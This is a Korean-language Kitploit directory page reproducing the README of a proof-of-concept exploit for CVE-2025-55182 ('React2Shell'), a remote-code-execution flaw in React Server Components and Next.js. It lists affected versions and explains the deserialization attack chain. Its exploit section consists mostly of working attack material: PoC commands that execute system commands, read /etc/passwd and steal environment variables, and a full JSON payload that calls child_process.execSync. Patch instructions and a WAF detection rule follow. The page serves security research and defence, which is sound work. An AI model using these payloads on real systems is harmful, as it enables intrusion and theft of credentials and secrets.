Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 — CVE-2025-55182 (React2Shell)에 대한 개념 증명 익스플로잇으로, Flight 프로토콜 역직렬화를 통해 React Server Components에서 인증되지 않은 원격 코드 실행을 시연합니다. 취약한 서버 설정 및 탐지 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/greenheadhq/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubgreenheadhq/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 (React2Shell)에 대한 개념 증명 익스플로잇으로, Flight 프로토콜 역직렬화를 통해 React Server Components에서 인증되지 않은 원격 코드 실행을 시연합니다. 취약한 서버 설정 및 탐지 스크립트를 포함합니다.

저장소 보기
118개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182 (React2Shell) PoC 환경

경고: 이 프로젝트는 보안 연구 및 교육 목적으로만 사용해야 합니다. 허가 없이 타인의 시스템에 사용하는 것은 불법입니다.

취약점 개요

항목내용
CVE IDCVE-2025-55182
별칭React2Shell
CVSS 점수10.0 (Critical - 최대 심각도)
취약점 유형Unauthenticated Remote Code Execution (RCE)
발견자Lachlan Davidson
공개일2025년 12월 3일

영향받는 버전

React 패키지

  • react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

  • 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

프로젝트 구조

root@kitploit:~
CVE-2025-55182/
├── README.md                    # 이 파일
├── vulnerable-server/           # 취약한 Next.js 서버
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # 공격 PoC
│   ├── package.json
│   ├── poc.js                   # RCE 공격 스크립트
│   └── check-vulnerability.js   # 취약점 체크 스크립트
└── React2Shell-CVE-2025-55182-original-poc/  # 원본 PoC 참조

빠른 시작

1. 취약한 서버 설정 및 실행

root@kitploit:~
# 의존성 설치
cd vulnerable-server
npm install

# 개발 모드로 서버 실행 (포트 3000)
npm run dev

서버가 http://localhost:3000 에서 실행됩니다.

2. 공격 PoC 실행

새 터미널에서:

root@kitploit:~
# 의존성 설치
cd exploit
npm install

# 취약점 체크
npm run check

# PoC 실행 (테스트 모드)
npm run exploit

공격 PoC 사용법

기본 테스트 (console.log)

root@kitploit:~
node poc.js -m test

계산기 실행 (RCE 증명 국룰)

root@kitploit:~
# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

시스템 명령 실행 (RCE)

root@kitploit:~
# id 명령 실행
node poc.js -t http://localhost:3000 -m rce -c "id"

# 파일 읽기
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# 시스템 정보
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

환경 변수 탈취

root@kitploit:~
node poc.js -t http://localhost:3000 -m env

사용자 정의 코드 실행

root@kitploit:~
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

기술적 분석

취약점 근본 원인

React Server Components의 Flight 프로토콜에서 클라이언트가 전송한 데이터를 역직렬화할 때 발생합니다.

root@kitploit:~
requireModule 함수가 클라이언트가 전송한 속성명을 검증 없이 신뢰
→ moduleExports[metadata[NAME]] 실행 시 hasOwnProperty 검사 없음
→ 프로토타입 체인 조작 가능 (Server-Side Prototype Pollution)
→ Function 생성자 획득 → RCE

공격 체인

  1. $@x 역직렬화 트리거 - Chunk 객체 참조 획득
  2. Promise 체이닝 악용 - .then 메서드를 가진 thenable 객체 주입
  3. 가짜 Chunk 객체로 파서 재진입 - status: resolved_model 설정
  4. 가젯 체인 구성 - _response, _formData 등 활용
  5. Function 생성자 획득 - $1:constructor:constructor
  6. 임의 코드 실행 - new Function(악성코드) 실행

페이로드 구조

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

패치 방법

Next.js 업그레이드

root@kitploit:~
# 15.0.x 사용자
npm install [email protected]

# 15.1.x 사용자
npm install [email protected]

# 15.2.x 사용자
npm install [email protected]

React 패키지 업그레이드

root@kitploit:~
npm install [email protected]
npm install [email protected]
npm install [email protected]

탐지 방법

HTTP 요청 특징

  • POST 요청
  • Next-Action 헤더 존재
  • multipart/form-data 형식
  • 본문에 $@, resolved_model, constructor 등의 패턴

WAF 규칙 예시

root@kitploit:~
# 의심스러운 Flight 페이로드 탐지
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"

참고 자료

  • React 공식 블로그
  • 원본 PoC (Lachlan Davidson)
  • Datadog Security Labs 분석
  • Wiz 분석

라이선스

이 프로젝트는 교육 및 연구 목적으로만 제공됩니다. 악의적인 목적으로의 사용을 금지합니다.


주의: 실제 환경에서 이 취약점을 발견했다면 즉시 패치하세요. 공격이 확인된 경우 보안 팀에 보고하고 침해 조사를 수행하세요.

도구 다운로드